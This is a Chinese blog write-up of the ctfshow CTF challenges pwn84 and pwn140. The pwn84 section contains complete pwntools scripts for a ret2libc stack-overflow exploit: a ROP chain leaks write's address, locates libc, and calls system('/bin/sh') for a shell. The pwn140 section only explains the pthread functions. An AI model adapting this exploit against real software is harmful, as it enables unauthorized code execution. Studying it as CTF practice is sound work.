ctfshow:pwn84、pwn140
本文最后更新于279 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com


1、pwn84分析

64位开了NX,有一个输入

show函数

有栈溢出,懒得想了,ret2libc

先泄露libc出来看看,利用write函数就行

先找寄存器

from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28278)
elf=ELF("./pwn3")
main=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
rdi=0x400773
rsir15=0x400771
ret=0x4004c6

payload=b'a'*(0x70+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(main)
p.recvuntil("Welcome to CTFshowPWN!\n")
p.sendline(payload)
write=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(write))
p.interactive()


哎嘿,下载一个打本地

最后用的2.27

2、cat flag

from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28278)
elf=ELF("./pwn3")
libc=ELF("./libc6_2.27-3ubuntu1.6_amd64.so")
main=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
rdi=0x400773
rsir15=0x400771
ret=0x4004c6

payload=b'a'*(0x70+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(main)
p.recvuntil("Welcome to CTFshowPWN!\n")
p.sendline(payload)
write=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(write))

base=write-libc.sym['write']
sys=base+libc.sym['system']
binsh=base+next(libc.search(b'/bin/sh'))
payload=b'a'*(0x70+8)+p64(rdi)+p64(binsh)+p64(sys)
p.sendline(payload)
p.interactive()

3、pwn140分析

多线程支持

还是慢慢把堆学着

了解一些函数:
pthread_create

int pthread_create(pthread_t *restrict tidp, const pthread_attr_t *restrict attr, void *(*start_rtn)(void *), void *restrict arg);

tidp:指向pthread_t类型的指针,用于存储新线程的线程ID。

attr:指向pthread_attr_t结构的指针,用于设置线程属性。通常情况下,这个参数被设置为NULL,表示使用默认线程属性。

start_rtn:新线程的启动函数,线程创建后将从这个函数开始执行。

arg:传递给start_rtn函数的参数。如果start_rtn不需要参数,则可以设置为NULL。如果需要传递多个参数,则应该通过一个结构体来传递。

这样参数是比较明确的

就是新线程的ID,属性,启动函数,函数的参数

成功时返回0。

失败时返回错误码,并且tidp指向的值不会被设置。程序返回了-1

pthread_join

int pthread_join(pthread_t thread, void **retval);

thread 参数用于指定要等待的线程的标识符。

retval 参数用于存储被等待线程的返回值。如果不需要获取返回值,可以将其置为 NULL。

就是等待一个线程的结束并获取返回值

4、flag


执行完malloc函数后就可以看到堆操作


执行完free


好吧,今天就到这儿……

月色真美......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇